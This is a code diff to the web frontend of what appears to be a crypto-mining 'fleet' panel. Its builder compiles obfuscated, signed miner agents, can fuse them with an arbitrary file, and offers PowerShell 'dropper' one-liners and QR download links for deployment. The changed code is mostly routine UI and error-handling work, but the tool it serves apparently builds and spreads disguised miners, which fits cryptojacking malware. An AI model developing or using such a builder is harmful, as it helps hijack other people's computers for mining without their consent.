const timerRef = useRef<ReturnType<typeof setTimeout> | null>(null);
|
||||
|
||||
const handleClick = () => {
|
||||
const handleClick = async () => {
|
||||
if (!confirming) {
|
||||
setConfirming(true);
|
||||
timerRef.current = setTimeout(() => setConfirming(false), 3000);
|
||||
} else {
|
||||
if (timerRef.current) clearTimeout(timerRef.current);
|
||||
setBusy(true);
|
||||
api.deleteBuild(buildId).finally(() => {
|
||||
setBusy(false);
|
||||
setConfirming(false);
|
||||
onDeleted();
|
||||
});
|
||||
return;
|
||||
}
|
||||
if (timerRef.current) clearTimeout(timerRef.current);
|
||||
setBusy(true);
|
||||
try {
|
||||
await api.deleteBuild(buildId);
|
||||
onDeleted();
|
||||
} catch (e) {
|
||||
onError(e instanceof Error ? e.message : 'Failed to delete build');
|
||||
} finally {
|
||||
setBusy(false);
|
||||
setConfirming(false);
|
||||
}
|
||||
};
|
||||
|
||||
@@ -96,7 +100,7 @@ function DeleteButton({ buildId, onDeleted }: { buildId: string; onDeleted: () =
|
||||
type="button"
|
||||
className={`bm-del-btn${confirming ? ' bm-del-btn-confirm' : ''}`}
|
||||
disabled={busy}
|
||||
onClick={handleClick}
|
||||
onClick={() => void handleClick()}
|
||||
title="Delete this build from server"
|
||||
>
|
||||
{busy ? '…' : confirming ? 'Confirm delete' : 'Delete'}
|
||||
@@ -104,7 +108,17 @@ function DeleteButton({ buildId, onDeleted }: { buildId: string; onDeleted: () =
|
||||
);
|
||||
}
|
||||
|
||||
function PinButton({ buildId, pinned, onPinned }: { buildId: string; pinned: boolean; onPinned: () => void }) {
|
||||
function PinButton({
|
||||
buildId,
|
||||
pinned,
|
||||
onPinned,
|
||||
onError,
|
||||
}: {
|
||||
buildId: string;
|
||||
pinned: boolean;
|
||||
onPinned: () => void;
|
||||
onError: (msg: string) => void;
|
||||
}) {
|
||||
const [busy, setBusy] = useState(false);
|
||||
|
||||
const handleClick = async () => {
|
||||
@@ -118,7 +132,7 @@ function PinButton({ buildId, pinned, onPinned }: { buildId: string; pinned: boo
|
||||
}
|
||||
onPinned();
|
||||
} catch (e) {
|
||||
console.error(e);
|
||||
onError(e instanceof Error ? e.message : pinned ? 'Failed to unpin build' : 'Failed to pin build');
|
||||
} finally {
|
||||
setBusy(false);
|
||||
}
|
||||
@@ -145,12 +159,14 @@ function BuildCard({
|
||||
onReforge,
|
||||
onDeleted,
|
||||
onPinned,
|
||||
onActionError,
|
||||
}: {
|
||||
build: BuildRecord;
|
||||
serverBase: string;
|
||||
onReforge: (b: BuildRecord) => void;
|
||||
onDeleted: () => void;
|
||||
onPinned: () => void;
|
||||
onActionError: (msg: string) => void;
|
||||
}) {
|
||||
const downloadUrl = `${window.location.origin}${api.buildDownloadUrl(build.id)}`;
|
||||
const exeName = build.file_name || build.file_path?.replace(/^.*[/\\]/, '') || `worker-${build.worker_name}`;
|
||||
@@ -249,7 +265,11 @@ function BuildCard({
|
||||
|
||||
{/* ── Dropper one-liners ── */}
|
||||
<div className="bm-dropper">
|
||||
<div className="bm-downloads-label font-tech">ONE-LINER DEPLOY (serves latest build)</div>
|
||||
<div className="bm-downloads-label font-tech">
|
||||
{build.pinned
|
||||
? 'ONE-LINER DEPLOY (serves this pinned build)'
|
||||
: 'ONE-LINER DEPLOY (serves latest build)'}
|
||||
</div>
|
||||
<div className="bm-dropper-row">
|
||||
<span className="bm-dropper-os">Win</span>
|
||||
<code className="bm-dropper-cmd">{ps1}</code>
|
||||
@@ -274,7 +294,7 @@ function BuildCard({
|
||||
<span className="bm-qr-label">Scan to download</span>
|
||||
</div>
|
||||
<div className="bm-action-btns">
|
||||
<PinButton buildId={build.id} pinned={!!build.pinned} onPinned={onPinned} />
|
||||
<PinButton buildId={build.id} pinned={!!build.pinned} onPinned={onPinned} onError={onActionError} />
|
||||
<button
|
||||
type="button"
|
||||
className="btn btn-secondary bm-reforge-btn"
|
||||
@@ -282,7 +302,7 @@ function BuildCard({
|
||||
>
|
||||
⚒ Re-forge
|
||||
</button>
|
||||
<DeleteButton buildId={build.id} onDeleted={onDeleted} />
|
||||
<DeleteButton buildId={build.id} onDeleted={onDeleted} onError={onActionError} />
|
||||
</div>
|
||||
</div>
|
||||
</NeonCard>
|
||||
@@ -295,28 +315,31 @@ export default function BuildManagerPage() {
|
||||
const [builds, setBuilds] = useState<BuildRecord[]>([]);
|
||||
const [loading, setLoading] = useState(true);
|
||||
const [error, setError] = useState('');
|
||||
const [serverBase, setServerBase] = useState('');
|
||||
const [serverBase, setServerBase] = useState(() => window.location.origin.replace(/\/$/, ''));
|
||||
const navigate = useNavigate();
|
||||
|
||||
const applyServerBase = useCallback((suggestedUrl?: string) => {
|
||||
const pub = suggestedUrl?.trim().replace(/\/$/, '');
|
||||
setServerBase(pub || window.location.origin.replace(/\/$/, ''));
|
||||
}, []);
|
||||
|
||||
const loadBuilds = useCallback(async () => {
|
||||
try {
|
||||
const list = await api.listBuilds();
|
||||
const [list, info] = await Promise.all([
|
||||
api.listBuilds(),
|
||||
api.getServerInfo().catch(() => null),
|
||||
]);
|
||||
setBuilds(list);
|
||||
setError('');
|
||||
if (info) applyServerBase(info.suggested_url);
|
||||
else applyServerBase();
|
||||
} catch (e) {
|
||||
setError(e instanceof Error ? e.message : 'Failed to load builds');
|
||||
applyServerBase();
|
||||
} finally {
|
||||
setLoading(false);
|
||||
}
|
||||
// Load server base URL separately so a slow/hung server-info call
|
||||
// never blocks the builds list from rendering.
|
||||
api.getServerInfo()
|
||||
.then((info) => {
|
||||
const pub = info?.suggested_url?.trim().replace(/\/$/, '');
|
||||
if (pub) setServerBase(pub);
|
||||
})
|
||||
.catch(() => {/* use window.location.origin fallback already set */});
|
||||
}, []);
|
||||
}, [applyServerBase]);
|
||||
|
||||
useEffect(() => { loadBuilds(); }, [loadBuilds]);
|
||||
|
||||
@@ -375,6 +398,7 @@ export default function BuildManagerPage() {
|
||||
onReforge={handleReforge}
|
||||
onDeleted={loadBuilds}
|
||||
onPinned={loadBuilds}
|
||||
onActionError={(msg) => setError(msg)}
|
||||
/>
|
||||
))}
|
||||
</div>
|
||||
|
||||
@@ -59,15 +59,17 @@ function defaultsFromConfig(config: ServerConfig, serverInfo: ServerInfo, builds
|
||||
return forgeDefaultsFromServerSmart(config, serverInfo, builds);
|
||||
}
|
||||
|
||||
// Simulated stage timeline — (label, target% completed at this point, min ms from start)
|
||||
// Simulated stage timeline — real compiles (garble/universal/fusion) often take 10–30+ min.
|
||||
// Cap below 95% until the server responds; finishForgeSuccess sets 100%.
|
||||
const FORGE_PROGRESS_CAP = 94;
|
||||
const FORGE_STAGES: { label: string; pct: number; minMs: number }[] = [
|
||||
{ label: 'Resolving dependencies...', pct: 8, minMs: 0 },
|
||||
{ label: 'Compiling agent source...', pct: 28, minMs: 800 },
|
||||
{ label: 'Cross-compiling targets...', pct: 52, minMs: 2500 },
|
||||
{ label: 'Applying obfuscation...', pct: 68, minMs: 5000 },
|
||||
{ label: 'Packaging deliverable...', pct: 82, minMs: 8000 },
|
||||
{ label: 'Signing & finalizing...', pct: 93, minMs: 11000 },
|
||||
{ label: 'Almost done...', pct: 98, minMs: 15000 },
|
||||
{ label: 'Resolving dependencies...', pct: 6, minMs: 0 },
|
||||
{ label: 'Compiling agent source...', pct: 18, minMs: 20000 },
|
||||
{ label: 'Cross-compiling targets...', pct: 36, minMs: 90000 },
|
||||
{ label: 'Applying obfuscation...', pct: 52, minMs: 240000 },
|
||||
{ label: 'Packaging deliverable...', pct: 68, minMs: 420000 },
|
||||
{ label: 'Signing & finalizing...', pct: 82, minMs: 600000 },
|
||||
{ label: 'Still forging (may take a while)...', pct: FORGE_PROGRESS_CAP, minMs: 900000 },
|
||||
];
|
||||
|
||||
function ForgeProgressBar({ building, stage, progress }: { building: boolean; stage: string; progress: number }) {
|
||||
@@ -153,6 +155,9 @@ export default function BuilderPage() {
|
||||
const forgedThisSessionRef = useRef(false);
|
||||
const [refreshingEndpoints, setRefreshingEndpoints] = useState(false);
|
||||
const [simpleMode, setSimpleMode] = useState(loadSimpleMode);
|
||||
const [pendingReforgeBuild, setPendingReforgeBuild] = useState<BuildRecord | null>(null);
|
||||
const [highlightFusionPrep, setHighlightFusionPrep] = useState(false);
|
||||
const fusionPrepRef = useRef<HTMLDivElement>(null);
|
||||
|
||||
// Drive simulated stage progress while a single build is running
|
||||
useEffect(() => {
|
||||
@@ -175,14 +180,14 @@ export default function BuilderPage() {
|
||||
}
|
||||
const s = FORGE_STAGES[next];
|
||||
// Smoothly interpolate within this stage toward the next stage's target %
|
||||
const nextPct = next + 1 < FORGE_STAGES.length ? FORGE_STAGES[next + 1].pct : 98;
|
||||
const nextMs = next + 1 < FORGE_STAGES.length ? FORGE_STAGES[next + 1].minMs : 20000;
|
||||
const nextPct = next + 1 < FORGE_STAGES.length ? FORGE_STAGES[next + 1].pct : FORGE_PROGRESS_CAP;
|
||||
const nextMs = next + 1 < FORGE_STAGES.length ? FORGE_STAGES[next + 1].minMs : 1200000;
|
||||
const stageElapsed = elapsed - s.minMs;
|
||||
const stageDur = nextMs - s.minMs;
|
||||
const frac = stageDur > 0 ? Math.min(1, stageElapsed / stageDur) : 0;
|
||||
const pct = s.pct + (nextPct - s.pct) * frac;
|
||||
if (next !== stageIdx) stageIdx = next;
|
||||
setStage(s.label, Math.min(98, pct));
|
||||
setStage(s.label, Math.min(FORGE_PROGRESS_CAP, pct));
|
||||
forgeStageTimerRef.current = setTimeout(advance, 250);
|
||||
};
|
||||
advance();
|
||||
@@ -238,8 +243,10 @@ export default function BuilderPage() {
|
||||
setListenPort(config.port || 8989);
|
||||
}
|
||||
const candidates = info ? lanEndpointCandidates(info, config.port || info.port) : [];
|
||||
const base = defaultsFromConfig(config, info ?? { port: config.port || 8989, host: '', local_ips: [], suggested_url: '', dashboard_url: '', websocket_url: '' }, builds as BuildRecord[]);
|
||||
setForm(applySmartForgeDefaults(base, { builds: builds as BuildRecord[], endpointCandidates: candidates }));
|
||||
const buildList = builds as BuildRecord[];
|
||||
const base = defaultsFromConfig(config, info ?? { port: config.port || 8989, host: '', local_ips: [], suggested_url: '', dashboard_url: '', websocket_url: '' }, buildList);
|
||||
setRecentBuilds(buildList);
|
||||
setForm(applySmartForgeDefaults(base, { builds: buildList, endpointCandidates: candidates }));
|
||||
})
|
||||
.catch((err) => {
|
||||
console.error(err);
|
||||
@@ -257,17 +264,21 @@ export default function BuilderPage() {
|
||||
}
|
||||
};
|
||||
|
||||
// Handle ?reforge=<buildId> links from Build Manager page
|
||||
// Handle ?reforge=<buildId> links from Build Manager — pre-fill only; user confirms before compile.
|
||||
useEffect(() => {
|
||||
const reforgeId = searchParams.get('reforge');
|
||||
if (!reforgeId || recentBuilds.length === 0) return;
|
||||
if (!reforgeId || !form || recentBuilds.length === 0) return;
|
||||
const match = recentBuilds.find((b) => b.id === reforgeId);
|
||||
if (match) {
|
||||
reForgeFromBuild(match);
|
||||
const merged = buildRequestFromRecord(match, form as unknown as Record<string, unknown>) as unknown as BuildRequest;
|
||||
setForm(merged);
|
||||
setPendingReforgeBuild(match);
|
||||
setError('');
|
||||
setLastBuild(null);
|
||||
setSearchParams({}, { replace: true });
|
||||
}
|
||||
// eslint-disable-next-line react-hooks/exhaustive-deps
|
||||
}, [searchParams, recentBuilds]);
|
||||
}, [searchParams, recentBuilds, form]);
|
||||
|
||||
const finishForgeSuccess = async (result: BuildResponse) => {
|
||||
setStage('Build complete!', 100);
|
||||
@@ -355,6 +366,12 @@ export default function BuilderPage() {
|
||||
}
|
||||
};
|
||||
|
||||
const focusFusionPrepPicker = () => {
|
||||
setHighlightFusionPrep(true);
|
||||
fusionPrepRef.current?.scrollIntoView({ behavior: 'smooth', block: 'center' });
|
||||
window.setTimeout(() => setHighlightFusionPrep(false), 6000);
|
||||
};
|
||||
|
||||
const reForgeFromBuild = async (build: BuildRecord) => {
|
||||
if (!form) return;
|
||||
const merged = buildRequestFromRecord(build, form as unknown as Record<string, unknown>) as unknown as BuildRequest;
|
||||
@@ -366,8 +383,9 @@ export default function BuilderPage() {
|
||||
// server after a build completes (M15). Prompt the user to re-upload first.
|
||||
if (merged.fusion_enabled && !fusionPrepFile) {
|
||||
setError(
|
||||
'This build used a Fusion payload. Re-upload the payload file in the Fusion section above, then click "Re-forge" again.'
|
||||
'This build used a Fusion payload. Re-upload the payload file in the Fusion section below, then confirm Re-forge again.'
|
||||
);
|
||||
focusFusionPrepPicker();
|
||||
return;
|
||||
}
|
||||
|
||||
@@ -651,7 +669,16 @@ export default function BuilderPage() {
|
||||
await finishForgeSuccess(result);
|
||||
} catch (err: any) {
|
||||
if (err.message !== 'build cancelled') {
|
||||
setError(err.message || 'Build failed');
|
||||
let msg = err?.message || 'Build failed';
|
||||
const aborted =
|
||||
err?.name === 'AbortError' ||
|
||||
/abort|timed out|timeout/i.test(msg);
|
||||
if (aborted) {
|
||||
msg =
|
||||
'Forge request ended early (browser or proxy timeout). The server may still be compiling — open Build Manager or refresh this page in a minute.';
|
||||
}
|
||||
setError(msg);
|
||||
void loadRecentBuilds();
|
||||
}
|
||||
} finally {
|
||||
cancelTokenRef.current = '';
|
||||
@@ -702,7 +729,7 @@ export default function BuilderPage() {
|
||||
[form, fusionPrepFile]
|
||||
);
|
||||
const preflightChecks = useMemo(
|
||||
() => (form ? runForgePreflight(form, !!fusionPrepFile) : []),
|
||||
() => (form ? runForgePreflight(normalizeForgeForm(form), !!fusionPrepFile) : []),
|
||||
[form, fusionPrepFile]
|
||||
);
|
||||
const canForge = form ? !preflightHasErrors(preflightChecks) : false;
|
||||
@@ -811,6 +838,39 @@ export default function BuilderPage() {
|
||||
return (
|
||||
<div className="page fade-in command-deck">
|
||||
<SetupBanner status={setupStatus} />
|
||||
{pendingReforgeBuild && (
|
||||
<div className="reforge-confirm-banner form-error" role="alert">
|
||||
<span>⚒</span>
|
||||
<div style={{ flex: 1 }}>
|
||||
<strong>Re-forge {pendingReforgeBuild.worker_name}?</strong>
|
||||
<p className="form-hint" style={{ margin: '0.35rem 0 0', color: 'inherit' }}>
|
||||
Settings were loaded from Build Manager. Confirm to start compiling — this cannot be undone mid-forge.
|
||||
</p>
|
||||
</div>
|
||||
<div style={{ display: 'flex', gap: '0.5rem', flexShrink: 0 }}>
|
||||
<button
|
||||
type="button"
|
||||
className="btn btn-primary btn-sm"
|
||||
disabled={building}
|
||||
onClick={() => {
|
||||
const build = pendingReforgeBuild;
|
||||
setPendingReforgeBuild(null);
|
||||
void reForgeFromBuild(build);
|
||||
}}
|
||||
>
|
||||
Confirm Re-forge
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
className="btn btn-outline btn-sm"
|
||||
disabled={building}
|
||||
onClick={() => setPendingReforgeBuild(null)}
|
||||
>
|
||||
Cancel
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
)}
|
||||
{/* Hidden file input for importing blueprint .json files */}
|
||||
<input
|
||||
type="file"
|
||||
@@ -1867,7 +1927,10 @@ export default function BuilderPage() {
|
||||
{form.fusion_enabled && (
|
||||
<>
|
||||
{/* Single-file pick (used when Forge button is clicked) */}
|
||||
<div className={`form-group ${fieldMeta.fusion_prep?.disabled ? 'field-disabled' : ''}`}>
|
||||
<div
|
||||
ref={fusionPrepRef}
|
||||
className={`form-group fusion-prep-picker${highlightFusionPrep ? ' fusion-prep-highlight' : ''}${fieldMeta.fusion_prep?.disabled ? ' field-disabled' : ''}`}
|
||||
>
|
||||
<div className="label-row">
|
||||
<label className="label">
|
||||
Drop any file to fuse <HelpTip field="fusion_prep" />
|
||||
@@ -1880,6 +1943,7 @@ export default function BuilderPage() {
|
||||
accept="*"
|
||||
onChange={(e) => {
|
||||
applyFusionFileSelection(e.target.files?.[0] || null);
|
||||
setHighlightFusionPrep(false);
|
||||
e.target.value = '';
|
||||
}}
|
||||
/>
|
||||
|
||||
@@ -123,12 +123,12 @@ describe('DashboardPage', () => {
|
||||
expect(await screen.findByText('No miners on the wire')).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('shows projection charts and wealth strip with no agents', async () => {
|
||||
it('does not show projection or fake earnings with no agents', async () => {
|
||||
renderDashboard();
|
||||
expect(await screen.findByText(/Projection mode/i)).toBeInTheDocument();
|
||||
expect(await screen.findByText('Fleet Hashrate Wave')).toBeInTheDocument();
|
||||
expect(await screen.findByText('Accept Rate Pulse')).toBeInTheDocument();
|
||||
expect(await screen.findByText('Target Fleet Earnings')).toBeInTheDocument();
|
||||
expect(await screen.findByText('Command Deck')).toBeInTheDocument();
|
||||
expect(screen.queryByText(/Projection mode/i)).not.toBeInTheDocument();
|
||||
expect(screen.queryByText('Target Fleet Earnings')).not.toBeInTheDocument();
|
||||
expect(screen.queryByText('Vault-01')).not.toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('renders stat labels and top agent card', async () => {
|
||||
|
||||
@@ -12,7 +12,6 @@ import {
|
||||
PoolStatusPanel,
|
||||
AIActivityPanel,
|
||||
EarningsEstimator,
|
||||
WealthEarningsPreview,
|
||||
FleetHealthCard,
|
||||
ContributionBars,
|
||||
UnderperformerList,
|
||||
@@ -46,9 +45,6 @@ import {
|
||||
} from '../help/fleetAnalytics';
|
||||
import {
|
||||
resolveChartSeries,
|
||||
SAMPLE_ACTIVITY,
|
||||
SAMPLE_CONTRIBUTION_BARS,
|
||||
SAMPLE_FLEET_PREVIEW,
|
||||
} from '../help/chartSampleData';
|
||||
import './Pages.css';
|
||||
|
||||
@@ -133,6 +129,14 @@ export default function DashboardPage() {
|
||||
}
|
||||
}, [recentShares]);
|
||||
|
||||
useEffect(() => {
|
||||
const liveIds = new Set(agents.map((a) => a.id));
|
||||
setSelectedIds((prev) => {
|
||||
const pruned = new Set([...prev].filter((id) => liveIds.has(id)));
|
||||
return pruned.size === prev.size ? prev : pruned;
|
||||
});
|
||||
}, [agents]);
|
||||
|
||||
const totalHashrate = agents.reduce((sum, a) => sum + a.hashrate_15m, 0);
|
||||
const onlineCount = agents.filter((a) => a.status === 'online').length;
|
||||
const totalShares = agents.reduce((sum, a) => sum + a.shares_total, 0);
|
||||
@@ -154,7 +158,7 @@ export default function DashboardPage() {
|
||||
[gpuAgents]
|
||||
);
|
||||
const bestGPUAgent = useMemo(
|
||||
() => gpuAgents.sort((a, b) => (b.gpu_hashrate_15m ?? 0) - (a.gpu_hashrate_15m ?? 0))[0] ?? null,
|
||||
() => [...gpuAgents].sort((a, b) => (b.gpu_hashrate_15m ?? 0) - (a.gpu_hashrate_15m ?? 0))[0] ?? null,
|
||||
[gpuAgents]
|
||||
);
|
||||
const gpuModels = useMemo(
|
||||
@@ -166,10 +170,8 @@ export default function DashboardPage() {
|
||||
const avgMem = agents.length > 0 ? agents.reduce((s, a) => s + a.memory_usage_pct, 0) / agents.length : 0;
|
||||
const onlinePct = agents.length > 0 ? (onlineCount / agents.length) * 100 : 0;
|
||||
|
||||
const previewDeck = agents.length === 0 || (totalHashrate <= 0 && onlineCount === 0);
|
||||
|
||||
useEffect(() => {
|
||||
if (previewDeck || totalHashrate <= 0) {
|
||||
if (totalHashrate <= 0) {
|
||||
setEstXmrDay(null);
|
||||
return;
|
||||
}
|
||||
@@ -183,15 +185,7 @@ export default function DashboardPage() {
|
||||
if (!controller.signal.aborted) setEstXmrDay(null);
|
||||
});
|
||||
return () => controller.abort();
|
||||
}, [totalHashrate, previewDeck]);
|
||||
|
||||
const displayHashrate = previewDeck ? SAMPLE_FLEET_PREVIEW.hashrate : totalHashrate;
|
||||
const displayAccept = previewDeck ? SAMPLE_FLEET_PREVIEW.acceptRate : acceptRate;
|
||||
const displayCpu = previewDeck ? SAMPLE_FLEET_PREVIEW.avgCpu : avgCpu;
|
||||
const displayMem = previewDeck ? SAMPLE_FLEET_PREVIEW.avgMem : avgMem;
|
||||
const displayOnlinePct = previewDeck ? SAMPLE_FLEET_PREVIEW.onlinePct : onlinePct;
|
||||
const displayOnline = previewDeck ? SAMPLE_FLEET_PREVIEW.onlineCount : onlineCount;
|
||||
const displayAgentTotal = previewDeck ? SAMPLE_FLEET_PREVIEW.agentCount : agents.length;
|
||||
}, [totalHashrate]);
|
||||
|
||||
useEffect(() => {
|
||||
const now = new Date().toLocaleTimeString();
|
||||
@@ -199,38 +193,21 @@ export default function DashboardPage() {
|
||||
setAcceptHistory((prev) => [...prev.slice(-59), { time: now, value: acceptRate }]);
|
||||
setCpuHistory((prev) => [...prev.slice(-59), { time: now, value: avgCpu }]);
|
||||
setMemHistory((prev) => [...prev.slice(-59), { time: now, value: avgMem }]);
|
||||
const gpuVal = totalGPUHashrate > 0 ? totalGPUHashrate : previewDeck ? 48_500_000 : 0;
|
||||
if (gpuVal > 0 || previewDeck) {
|
||||
setGpuHistory((prev) => [...prev.slice(-59), { time: now, value: gpuVal }]);
|
||||
if (totalGPUHashrate > 0) {
|
||||
setGpuHistory((prev) => [...prev.slice(-59), { time: now, value: totalGPUHashrate }]);
|
||||
}
|
||||
}, [totalHashrate, acceptRate, avgCpu, avgMem, totalGPUHashrate, previewDeck]);
|
||||
}, [totalHashrate, acceptRate, avgCpu, avgMem, totalGPUHashrate]);
|
||||
|
||||
const hashChart = useMemo(
|
||||
() => resolveChartSeries(hashHistory, 'hashrate', { tailValue: displayHashrate }),
|
||||
[hashHistory, displayHashrate]
|
||||
);
|
||||
const acceptChart = useMemo(
|
||||
() => resolveChartSeries(acceptHistory, 'accept', { tailValue: displayAccept }),
|
||||
[acceptHistory, displayAccept]
|
||||
);
|
||||
const cpuChart = useMemo(
|
||||
() => resolveChartSeries(cpuHistory, 'cpu', { tailValue: displayCpu }),
|
||||
[cpuHistory, displayCpu]
|
||||
);
|
||||
const memChart = useMemo(
|
||||
() => resolveChartSeries(memHistory, 'mem', { tailValue: displayMem }),
|
||||
[memHistory, displayMem]
|
||||
);
|
||||
const gpuChart = useMemo(
|
||||
() => resolveChartSeries(gpuHistory, 'gpu', { tailValue: totalGPUHashrate || 48_500_000 }),
|
||||
[gpuHistory, totalGPUHashrate]
|
||||
);
|
||||
const hashChart = useMemo(() => resolveChartSeries(hashHistory), [hashHistory]);
|
||||
const acceptChart = useMemo(() => resolveChartSeries(acceptHistory), [acceptHistory]);
|
||||
const cpuChart = useMemo(() => resolveChartSeries(cpuHistory), [cpuHistory]);
|
||||
const memChart = useMemo(() => resolveChartSeries(memHistory), [memHistory]);
|
||||
const gpuChart = useMemo(() => resolveChartSeries(gpuHistory), [gpuHistory]);
|
||||
|
||||
const estUsdDay = useMemo(() => {
|
||||
const price = xmrPrice ?? SAMPLE_FLEET_PREVIEW.xmrPrice;
|
||||
const xmr = previewDeck ? SAMPLE_FLEET_PREVIEW.xmrPerDay : estXmrDay;
|
||||
return xmr != null ? xmr * price : null;
|
||||
}, [previewDeck, estXmrDay, xmrPrice]);
|
||||
if (estXmrDay == null || xmrPrice == null) return null;
|
||||
return estXmrDay * xmrPrice;
|
||||
}, [estXmrDay, xmrPrice]);
|
||||
|
||||
const filteredAgents = useMemo(() => filterFleetAgents(agents, filters), [agents, filters]);
|
||||
|
||||
@@ -247,9 +224,8 @@ export default function DashboardPage() {
|
||||
ok: s.accepted,
|
||||
time: s.timestamp ? new Date(s.timestamp).toLocaleTimeString() : undefined,
|
||||
}));
|
||||
if (live.length > 0) return live;
|
||||
return previewDeck ? SAMPLE_ACTIVITY : live;
|
||||
}, [shares, previewDeck]);
|
||||
return live;
|
||||
}, [shares]);
|
||||
|
||||
const totalShareCount = agents.reduce((sum, a) => sum + a.shares_total, 0);
|
||||
const alerts = fleetAlerts.length > 0 ? fleetAlerts : restAlerts;
|
||||
@@ -427,12 +403,6 @@ export default function DashboardPage() {
|
||||
<AuditLogStrip limit={6} />
|
||||
</div>
|
||||
|
||||
{previewDeck && (
|
||||
<p className="preview-deck-hint font-tech" role="status">
|
||||
Projection mode — charts validated with sample telemetry until your fleet connects
|
||||
</p>
|
||||
)}
|
||||
|
||||
<header className="deck-hero wealth-hero">
|
||||
<div className="deck-hero-text">
|
||||
<p className="deck-eyebrow font-tech">PERSONAL NETWORK · LIVE TELEMETRY</p>
|
||||
@@ -470,7 +440,7 @@ export default function DashboardPage() {
|
||||
<div className="deck-wealth-strip" aria-label="Fleet yield snapshot">
|
||||
<div className="deck-wealth-pill">
|
||||
<div className="dwp-label">Fleet Hash</div>
|
||||
<div className="dwp-value mint">{formatHashrate(displayHashrate)}</div>
|
||||
<div className="dwp-value mint">{formatHashrate(totalHashrate)}</div>
|
||||
<div className="dwp-sub">15m rolling</div>
|
||||
</div>
|
||||
<div className="deck-wealth-pill">
|
||||
@@ -478,19 +448,19 @@ export default function DashboardPage() {
|
||||
<div className="dwp-value mint">
|
||||
{estUsdDay != null ? `≈ $${estUsdDay.toFixed(2)}` : '—'}
|
||||
</div>
|
||||
<div className="dwp-sub">{previewDeck ? 'projection' : 'from live hashrate'}</div>
|
||||
<div className="dwp-sub">{totalHashrate > 0 ? 'from live hashrate' : 'no active hashing'}</div>
|
||||
</div>
|
||||
<div className="deck-wealth-pill">
|
||||
<div className="dwp-label">Accept</div>
|
||||
<div className="dwp-value">{displayAccept.toFixed(1)}%</div>
|
||||
<div className="dwp-value">{acceptRate.toFixed(1)}%</div>
|
||||
<div className="dwp-sub">share quality</div>
|
||||
</div>
|
||||
<div className="deck-wealth-pill">
|
||||
<div className="dwp-label">Nodes Live</div>
|
||||
<div className="dwp-value">
|
||||
{displayOnline}/{displayAgentTotal}
|
||||
{onlineCount}/{agents.length}
|
||||
</div>
|
||||
<div className="dwp-sub">{displayOnlinePct.toFixed(0)}% online</div>
|
||||
<div className="dwp-sub">{onlinePct.toFixed(0)}% online</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
@@ -514,8 +484,8 @@ export default function DashboardPage() {
|
||||
<section className="gauge-row">
|
||||
<NeonCard accent="cyan" className="gauge-card" hud>
|
||||
<GaugeRing
|
||||
value={displayHashrate}
|
||||
max={Math.max(displayHashrate * 1.2, 1000)}
|
||||
value={totalHashrate}
|
||||
max={Math.max(totalHashrate * 1.2, 1000)}
|
||||
label="Fleet Hash"
|
||||
sublabel="15m avg"
|
||||
color="var(--neon-cyan)"
|
||||
@@ -524,21 +494,21 @@ export default function DashboardPage() {
|
||||
</NeonCard>
|
||||
<NeonCard accent="green" className="gauge-card" hud>
|
||||
<GaugeRing
|
||||
value={displayOnlinePct}
|
||||
value={onlinePct}
|
||||
label="Online"
|
||||
sublabel={`${displayOnline}/${displayAgentTotal}`}
|
||||
sublabel={`${onlineCount}/${agents.length}`}
|
||||
color="var(--neon-green)"
|
||||
size={110}
|
||||
/>
|
||||
</NeonCard>
|
||||
<NeonCard accent="purple" className="gauge-card" hud>
|
||||
<GaugeRing value={displayAccept} label="Accept" sublabel="share rate" color="var(--neon-purple)" size={110} />
|
||||
<GaugeRing value={acceptRate} label="Accept" sublabel="share rate" color="var(--neon-purple)" size={110} />
|
||||
</NeonCard>
|
||||
<NeonCard accent="amber" className="gauge-card" hud>
|
||||
<GaugeRing
|
||||
value={displayCpu}
|
||||
value={avgCpu}
|
||||
label="CPU"
|
||||
sublabel={`RAM ${displayMem.toFixed(0)}%`}
|
||||
sublabel={`RAM ${avgMem.toFixed(0)}%`}
|
||||
color="var(--neon-amber)"
|
||||
size={110}
|
||||
/>
|
||||
@@ -548,26 +518,24 @@ export default function DashboardPage() {
|
||||
<div className="grid-4 stats-grid steampunk-stats">
|
||||
<NeonCard accent="cyan" className="stat-card-wrap wealth-stat">
|
||||
<div className="stat-label font-tech">Total Hashrate</div>
|
||||
<div className="stat-value hashrate neon-glow-cyan">{formatHashrate(displayHashrate)}</div>
|
||||
<div className="stat-sub">{displayOnline} engines firing</div>
|
||||
<div className="stat-value hashrate neon-glow-cyan">{formatHashrate(totalHashrate)}</div>
|
||||
<div className="stat-sub">{onlineCount} engines firing</div>
|
||||
</NeonCard>
|
||||
{previewDeck ? (
|
||||
<WealthEarningsPreview xmrPrice={xmrPrice} />
|
||||
) : (
|
||||
<EarningsEstimator hashrate={totalHashrate} xmrPrice={xmrPrice} />
|
||||
)}
|
||||
<EarningsEstimator hashrate={totalHashrate} xmrPrice={xmrPrice} />
|
||||
<NeonCard accent="green" className="stat-card-wrap wealth-stat">
|
||||
<div className="stat-label font-tech">Fleet Online</div>
|
||||
<div className="stat-value accepted">
|
||||
{displayOnline} <span className="stat-dim">/ {displayAgentTotal}</span>
|
||||
{onlineCount} <span className="stat-dim">/ {agents.length}</span>
|
||||
</div>
|
||||
<div className="stat-sub">{displayAgentTotal - displayOnline} dormant</div>
|
||||
<div className="stat-sub">{agents.length - onlineCount} dormant</div>
|
||||
</NeonCard>
|
||||
<NeonCard accent="purple" className="stat-card-wrap wealth-stat">
|
||||
<div className="stat-label font-tech">Accept Rate</div>
|
||||
<div className="stat-value neon-glow-purple">{displayAccept.toFixed(1)}%</div>
|
||||
<div className="stat-value neon-glow-purple">{acceptRate.toFixed(1)}%</div>
|
||||
<div className="stat-sub">
|
||||
{previewDeck ? 'sample pool quality' : `${acceptedShares} valid · ${rejectedShares} rejected`}
|
||||
{acceptedShares + rejectedShares > 0
|
||||
? `${acceptedShares} valid · ${rejectedShares} rejected`
|
||||
: 'no shares yet'}
|
||||
</div>
|
||||
</NeonCard>
|
||||
<NeonCard accent="amber" className="stat-card-wrap">
|
||||
@@ -819,9 +787,8 @@ export default function DashboardPage() {
|
||||
|
||||
{/* ── Analytics row — always visible ─────────────────────────────────── */}
|
||||
<ContributionBars
|
||||
bars={contribs.length > 0 ? contribs : previewDeck ? SAMPLE_CONTRIBUTION_BARS : []}
|
||||
sample={previewDeck && contribs.length === 0}
|
||||
xmrPerDay={previewDeck ? SAMPLE_FLEET_PREVIEW.xmrPerDay : undefined}
|
